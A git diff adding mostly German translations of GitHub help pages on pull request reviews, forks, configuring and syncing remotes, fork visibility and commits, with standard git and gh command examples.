diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md
new file mode 100644
index 0000000000..9307b115d1
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md
@@ -0,0 +1,36 @@
+---
+title: Pull-Request-Review anzeigen
+intro: Du kannst alle in einem einzelnen Pull-Request-Review abgegebenen Kommentare anzeigen.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review
+  - /articles/viewing-a-pull-request-review
+  - /github/collaborating-with-issues-and-pull-requests/viewing-a-pull-request-review
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: View a PR review
+ms.openlocfilehash: 72d83ce6ce9d09163d21732ef752c9724e8caf6f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146027193'
+---
+{% data reusables.search.requested_reviews_search %}
+
+Wenn du einen vollständigen Review anzeigst, wird Dir dieselbe Version des Pull Requests angezeigt, die dem Reviewer zum Zeitpunkt des Reviews vorlag.
+
+{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %}
+3. Scrolle auf der Registerkarte „Unterhaltung“ zum gewünschten Review. Klicke anschließend auf **Änderungen anzeigen**.
+  ![Reviewkopfzeile mit Link zum vollständigen Review](/assets/images/help/pull_requests/view-full-review-view-changes.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)
+- [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+- [Filtern von Codeüberprüfungsbenachrichtigungen in Pull Requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
new file mode 100644
index 0000000000..d167d9caa8
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
@@ -0,0 +1,45 @@
+---
+title: About forks
+intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks
+  - /articles/about-forks
+  - /github/collaborating-with-issues-and-pull-requests/about-forks
+  - /github/collaborating-with-pull-requests/working-with-forks/about-forks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+---
+Forking a repository is similar to copying a repository, with two major differences:
+
+* You can use a pull request to suggest changes from your user-owned fork to the original repository in its GitHub instance, also known as the *upstream* repository.
+* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository.
+
+{% data reusables.repositories.you-can-fork %}
+
+{% ifversion fpt or ghec %}
+
+If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, there are further restrictions on the repositories you can fork. {% data reusables.enterprise-accounts.emu-forks %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% endif %}
+
+{% data reusables.repositories.desktop-fork %}
+
+Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+
+In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. 
+
+{% data reusables.repositories.private_forks_inherit_permissions %}
+
+If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)".
+
+## Further reading
+
+- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
+- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
+- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md
new file mode 100644
index 0000000000..dd13fb3e74
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md
@@ -0,0 +1,43 @@
+---
+title: 'Änderungen an einem Pull-Request-Branch zulassen, der von einem Fork erstellt wurde'
+intro: 'Für eine bessere Zusammenarbeit kannst du Commits für Branches erlauben, die du aus Forks im Besitz deines persönlichen Kontos erstellt hast.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /github/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork
+permissions: People with push access to the upstream repository of a fork owned by a personal account can commit to the forked branches.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Allow changes to a branch
+ms.openlocfilehash: 26255f5aeab3bcaa5ecc1aa6cf865981990c456a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133694'
+---
+Nur die Ersteller von Pull Requests können Betreuern von vorgelagerten Repositorys oder Benutzern mit Push-Zugriff auf das vorgelagerte Repository die Berechtigung erteilen, in einer benutzereigenen Fork Commits an den Vergleichs-Branch ihres Pull Requests vorzunehmen. Weitere Informationen zu vorgelagerten Repositorys findest du unter [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks).
+
+Pull-Request-Autoren können diese Berechtigungen erteilen, wenn sie initial einen Pull Request aus einer benutzereigenen Fork erstellen oder nachdem sie den Pull Request erstellt haben. Weitere Informationen findest du unter [Erstellen eines Pull Requests aus einem Fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork).
+
+Du kannst Commit-Berechtigungen festlegen, wenn du erstmalig einen Pull Request von einem Fork erstellst. Weitere Informationen findest du unter [Erstellen eines Pull Requests aus einem Fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). Zusätzlich kannst du einen vorhandenen Pull Request ändern, um Repository-Betreuern Commits an deinem Branch zu ermöglichen.
+
+## Repository-Betreuer-Berechtigungen auf vorhandene Pull Requests aktivieren
+
+1. Navigiere auf {% data variables.product.product_name %} zur Hauptseite des vorgelagerten Repositorys deines Pull Requests.
+2. Klicke unter dem Namen des vorgelagerten Repositorys auf {% octicon "git-pull-request" aria-label="The pull request icon" %} **Pull Requests**.
+![Registerkartenauswahl Issues und Pull Requests](/assets/images/help/repository/repo-tabs-pull-requests.png)
+3. Navigiere in der Liste der Pull Requests zu dem Pull Request, für den du Commits zulassen möchtest.
+{% data reusables.repositories.allow-maintainers-user-forks %}
+
+  ![Kontrollkästchen in Seitenleiste, um Bearbeitung durch Maintainer zuzulassen](/assets/images/help/pull_requests/allow-maintainers-to-make-edits-sidebar-checkbox.png)
+
+## Weitere Informationsquellen
+
+- [Committen von Änderungen an einen Pull-Request-Branch, der aus einem Fork erstellt wurde](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
new file mode 100644
index 0000000000..11fff5cf94
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
@@ -0,0 +1,42 @@
+---
+title: Ein Remote-Repository für einen Fork konfigurieren
+intro: 'Du musst ein Remote-Repository konfigurieren, das auf das vorgelagerte Repository in Git verweist, um [die Synchronisation der in einem Fork vorgenommenen Änderungen](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork) mit dem ursprünglichen Repository zu ermöglichen. Damit kannst du auch Änderungen im ursprünglichen Repository mit dem Fork synchronisieren.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/configuring-a-remote-for-a-fork
+  - /articles/configuring-a-remote-for-a-fork
+  - /github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork
+  - /github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Configure a remote
+ms.openlocfilehash: d474b56a9b1881d9511ccf9e239bb54e26967784
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133853'
+---
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Liste das aktuell konfigurierte Remote-Repository für deine Fork auf.
+  ```shell
+  $ git remote -v
+  > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
+  > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (push)
+  ```
+3. Lege ein neues *Upstream*-Remoterepository fest, das mit dem Fork synchronisiert wird.
+  ```shell
+  $ git remote add upstream https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git
+  ```
+4. Überprüfe das neue vorgelagerte Repository, das du für deinen Fork angegeben hast.
+  ```shell
+  $ git remote -v
+  > origin    https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
+  > origin    https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (push)
+  > upstream  https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git (fetch)
+  > upstream  https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git (push)
+  ```
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
new file mode 100644
index 0000000000..f51d2b19ec
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
@@ -0,0 +1,28 @@
+---
+title: Mit Forks arbeiten
+intro: 'Forks werden oft in der Open-Source-Entwicklung auf {% data variables.product.product_name %} verwendet.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks
+  - /articles/working-with-forks
+  - /github/collaborating-with-pull-requests/working-with-forks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-forks
+  - /configuring-a-remote-for-a-fork
+  - /syncing-a-fork
+  - /allowing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
+ms.openlocfilehash: 79d8346fdd63366e5987def43164932503104332
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146683661'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
new file mode 100644
index 0000000000..d97744b5d7
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
@@ -0,0 +1,105 @@
+---
+title: Syncing a fork
+intro: Sync a fork of a repository to keep it up-to-date with the upstream repository.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork
+  - /articles/syncing-a-fork
+  - /github/collaborating-with-issues-and-pull-requests/syncing-a-fork
+  - /github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork
+  - /pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork
+  - /articles/merging-an-upstream-repository-into-your-fork
+  - /github/collaborating-with-issues-and-pull-requests/merging-an-upstream-repository-into-your-fork
+  - /github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+permissions: People with write access for a forked repository can sync the fork to the upstream repository.
+---
+
+## Syncing a fork branch from the web UI
+
+{% ifversion syncing-fork-web-ui %}
+1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository.
+2. Select the **Sync fork** dropdown.
+    !["Sync fork" dropdown emphasized](/assets/images/help/repository/sync-fork-dropdown.png)
+3. Review the details about the commits from the upstream repository, then click **Update branch**.
+    ![Sync fork modal with "Update branch" button emphasized](/assets/images/help/repository/update-branch-button.png)
+{% else %}
+1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository.
+2. Select the **Fetch upstream** dropdown.
+    !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png)
+3. Review the details about the commits from the upstream repository, then click **Fetch and merge**.
+    !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png){% endif %}
+
+If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts.
+
+## Syncing a fork branch with the {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.about-cli %} To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+
+To update the remote fork from its parent, use the `gh repo sync -b BRANCHNAME` subcommand and supply your fork and branch name as arguments.
+
+```shell
+$ gh repo sync owner/cli-fork -b BRANCH_NAME
+```
+
+If the changes from the upstream repository cause conflict then the {% data variables.product.prodname_cli %} can't sync. You can set the `-force` flag to overwrite the destination branch.
+
+## Syncing a fork branch from the command line
+
+Before you can sync your fork with an upstream repository, you must [configure a remote that points to the upstream repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) in Git.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Change the current working directory to your local project.
+3. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCHNAME` will be stored in the local branch `upstream/BRANCHNAME`.
+
+  ```shell
+  $ git fetch upstream
+  > remote: Counting objects: 75, done.
+  > remote: Compressing objects: 100% (53/53), done.
+  > remote: Total 62 (delta 27), reused 44 (delta 9)
+  > Unpacking objects: 100% (62/62), done.
+  > From https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY
+  >  * [new branch]      main     -> upstream/main
+  ```
+
+4. Check out your fork's local default branch - in this case, we use `main`.
+
+  ```shell
+  $ git checkout main
+  > Switched to branch 'main'
+  ```
+
+5. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes.
+
+  ```shell
+  $ git merge upstream/main
+  > Updating a422352..5fdff0f
+  > Fast-forward
+  >  README                    |    9 -------
+  >  README.md                 |    7 ++++++
+  >  2 files changed, 7 insertions(+), 9 deletions(-)
+  >  delete mode 100644 README
+  >  create mode 100644 README.md
+  ```
+  
+  If your local branch didn't have any unique commits, Git will perform a fast-forward. For more information, see [Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) in the Git documentation.
+  ```shell
+  $ git merge upstream/main
+  > Updating 34e91da..16c56ad
+  > Fast-forward
+  >  README.md                 |    5 +++--
+  >  1 file changed, 3 insertions(+), 2 deletions(-)
+  ``` 
+  If your local branch had unique commits, you may need to resolve conflicts. For more information, see "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)."
+
+{% tip %}
+
+**Tip**: Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.location.product_location %}, you must [push your changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+
+{% endtip %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
new file mode 100644
index 0000000000..e1c586dd1f
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
@@ -0,0 +1,88 @@
+---
+title: 'Was geschieht mit Forks, wenn ein Repository gelöscht wird oder sich dessen Sichtbarkeit ändert?'
+intro: 'Wenn du dein Repository löschst oder dessen Sichtbarkeit änderst, wirkt sich dies auf die Forks dieses Repositorys aus.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
+  - /articles/changing-the-visibility-of-a-network
+  - /articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
+  - /github/collaborating-with-issues-and-pull-requests/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
+  - /github/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Deleted or changes visibility
+ms.openlocfilehash: d52215a7406edc84bc71022517f848faa9e48600
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147886798'
+---
+{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
+
+## Privates Repository löschen
+
+Wenn du ein privates Repository löschst, werden alle zugehörigen privaten Forks ebenfalls gelöscht.
+
+{% ifversion fpt or ghes or ghec %}
+
+## Öffentliches Repository löschen
+
+Wenn du ein öffentliches Repository löschst, wird einer der vorhandenen öffentlichen Forks als das neue übergeordnete Repository ausgewählt. Alle anderen Repositorys werden von diesem neuen übergeordneten Element abgezweigt, und nachfolgende Pull Requests werden an dieses neue übergeordnete Element gesendet.
+
+{% endif %}
+
+## Private Forks und Berechtigungen
+
+{% data reusables.repositories.private_forks_inherit_permissions %}
+
+{% ifversion fpt or ghes or ghec %}
+
+## Öffentliches Repository in ein privates Repository ändern
+
+Wenn ein öffentliches Repository auf privat festgelegt wird, werden die zugehörigen öffentlichen Forks in ein neues Netzwerk abgespalten. Wie beim Löschen eines öffentlichen Repositorys wird einer der vorhandenen öffentliches Forks als das neue übergeordnete Repository ausgewählt, und alle anderen Repositorys werden von diesem neuen übergeordneten Element abgezweigt. Nachfolgende Pull Requests werden an dieses neue übergeordnete Element gesendet.
+
+Die Forks eines öffentlichen Repositorys bleiben demnach in ihrem eigenen separaten Repository-Netzwerk öffentlich, selbst nachdem das übergeordnete Repository auf privat eingestellt wurde. Dadurch können Fork-Inhaber ohne Unterbrechung weiterhin arbeiten und zusammenarbeiten. Wenn öffentliche Forks nicht auf diese Weise in ein separates Netzwerk verschoben wurden, benötigen die Inhaber dieser Forks die entsprechenden [Zugriffsberechtigungen](/articles/access-permissions-on-github), um Änderungen vom (inzwischen privaten) übergeordneten Repository abzurufen - auch wenn sie zuvor diese Berechtigungen nicht benötigt haben.
+
+{% ifversion ghes or ghae %} Wenn für ein öffentliches Repository der anonyme Git-Lesezugriff aktiviert ist und das Repository auf privat festgelegt wird, verlieren alle Forks des Repositorys den anonymen Git-Lesezugriff und verwenden wieder die standardmäßig deaktivierte Einstellung. Wenn ein geforktes Repository als öffentlich festgelegt wird, kann der anonyme Git-Lesezugriff durch die Repository-Administratoren wieder aktiviert werden. Weitere Informationen findest du unter [Aktivieren des anonymen Git-Lesezugriffs für ein Repository](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository).
+{% endif %}
+
+### Privates Repository löschen
+
+Wenn ein öffentliches Repository auf privat festgelegt und anschließend gelöscht wird, bleiben die zugehörigen öffentlichen Forks in einem separaten Netzwerk erhalten.
+
+## Privates Repository in ein öffentliches Repository ändern
+
+Wenn ein privates Repository auf öffentlich festgelegt wird, werden alle privaten Forks in eigenständige private Repositorys umgewandelt und werden zum übergeordneten Element ihres eigenen neuen Repository-Netzwerks. Private Forks werden niemals automatisch auf öffentlich festgelegt, da sie sensible Commits enthalten können, die nicht veröffentlicht werden sollten.
+
+### Öffentliches Repository löschen
+
+Wenn ein privates Repository auf öffentlich festgelegt und anschließend gelöscht wird, bleiben die zugehörigen privaten Forks in separaten Netzwerken als eigenständige private Repositorys erhalten.
+
+{% endif %}
+
+{% ifversion ghes or ghec or ghae %}
+
+## Ändern der Sichtbarkeit eines internen Repositorys
+
+
+
+Wenn die Richtlinie deines Unternehmens Forking erlaubt, sind alle Forks von internen Repositorys privat. Wenn du die Sichtbarkeit eines internen Repositorys änderst, bleibt jeder Fork, der von einer Organisation oder einem persönlichen Konto gehört, privat bleiben.
+
+### Löschen des internen Repositorys
+
+Wenn du die Sichtbarkeit eines internen Repositorys änderst und dann das Repository löschst, wird die Forks weiterhin in einem separaten Netzwerk vorhanden sein.
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Festlegen der Sichtbarkeit eines Repository](/articles/setting-repository-visibility)
+- [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)
+- „[Verwalten der Fork-Richtlinie für dein Repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)“
+- „[Die Fork-Richtlinie für deine Organisation verwalten](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)“
+- „[Erzwingen von Repository-Verwaltungsrichtlinien in einem Unternehmen](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)“
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md
new file mode 100644
index 0000000000..efc46d6baa
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md
@@ -0,0 +1,73 @@
+---
+title: Informationen zu Commits
+intro: Aussagekräftige Änderungen können in kleinen Gruppen als Commits gespeichert werden.
+redirect_from:
+  - /articles/why-are-my-commits-in-the-wrong-order
+  - /github/committing-changes-to-your-project/why-are-my-commits-in-the-wrong-order
+  - /github/committing-changes-to-your-project/about-commits
+  - /github/committing-changes-to-your-project/creating-and-editing-commits/about-commits
+  - /pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 6847b0a2e69fb17e648b7841a9ae250eaa9b38fa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410523'
+---
+## Informationen zu Commits
+
+{% data reusables.commits.about-commits %}
+
+{% ifversion commit-signoffs %} Wenn Commits für das Repository, das du committest, abgezeichnet werden müssen und du den Commit über die Webschnittstelle durchführst, zeichnest du den Commit automatisch im Rahmen des Commitvorgangs ab. Weitere Informationen findest du unter [Verwalten der Richtlinie zum Abzeichnen von Commits für dein Repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository). {% endif %}
+
+Du kannst Commits, an denen du mitarbeitest, einen Co-Autor hinzufügen. Weitere Informationen findest du unter [Erstellen eines Commits mit mehreren Autor*innen](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors).
+
+{% ifversion fpt or ghec %} Du kannst auch einen Commit im Namen einer Organisation erstellen. Weitere Informationen findest du unter [Erstellen eines Commits im Namen einer Organisation](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization).{% endif %}
+
+Mit Rebasing kannst du mehrere Commits ändern und die Reihenfolge der Commits auf deiner Zeitachse ändern. Weitere Informationen findest du unter [Informationen zu „git rebase“](/github/getting-started-with-github/about-git-rebase).
+
+## Informationen zu Commitbranches und Tagbezeichnungen
+
+Anhand der Bezeichnungen unter dem Commit auf der Commitseite kannst du erkennen, zu welchem Branch ein Commit gehört.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-commit-page %}
+1. Navigiere zum Commit. Klicke dazu auf den Link für die Commit-Mitteilung.
+   ![Screenshot des Commits mit hervorgehobenem Link zur Commitnachricht](/assets/images/help/commits/commit-message-link.png)
+2. Über die Bezeichnung unter der Commitnachricht kannst du herausfinden, zu welchem Branch der Commit gehört.
+   ![Screenshot des Commits mit hervorgehobenem Bezeichner des Commitbranches](/assets/images/help/commits/commit-branch-indicator.png)
+
+Wenn sich dein Commit nicht im Standardbranch (`main`) befindet, zeigt die Bezeichnung an, welche Branches den Commit enthalten. Wenn der Commit Teil eines nicht zusammengeführten Pull Requests ist, kannst du auf den Link klicken, um zum Pull Request zu wechseln.
+
+Sobald sich der Commit auf dem Standardbranch befindet, werden alle Tags angezeigt, die den Commit enthalten, und der Standardbranch wird als einziger Branch aufgeführt. Weitere Informationen zu Tags findest du in der Git-Dokumentation unter [Git-Grundlagen – Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging).
+
+![Screenshot des Commits mit hervorgehobenem Committag](/assets/images/help/commits/commit-tag-label.png)
+
+{% ifversion commit-tree-view %}
+
+## Verwenden der Dateistruktur
+
+Du kannst auch mithilfe der Dateistruktur zwischen Dateien in einem Commit navigieren.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-commit-page %}
+1. Navigiere zum Commit. Klicke dazu auf den Link für die Commit-Mitteilung.
+   ![Screenshot des Commits mit hervorgehobenem Link zur Commitnachricht](/assets/images/help/commits/commit-message-link.png)
+1. Klicke auf eine Datei in der Dateistruktur, um die entsprechenden Datei-Diff-Ansicht anzuzeigen. Wenn die Dateistruktur ausgeblendet ist, klicke auf {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %}, um sie anzuzeigen.
+
+  {% note %}
+
+  **Hinweis:** Die Dateistruktur wird nicht angezeigt, wenn der Bildschirm nicht breit genug ist oder der Commit nur eine Datei enthält.
+
+  {% endnote %}
+  
+  ![Screenshot des Suchfelds „Geänderte Dateien filtern“ und der hervorgehobenen Dateistruktur](/assets/images/help/repository/file-tree.png)
+1. Um nach Dateipfad zu filtern, gib den Dateipfad ganz oder teilweise im Suchfeld **Nach geänderten Dateien filtern** ein.
+
+{% endif %}
+
+## Weiterführende Themen
+- [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#about-commits) in {% data variables.product.prodname_desktop %}
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
new file mode 100644
index 0000000000..4cbd1eee7d
--- /dev/null
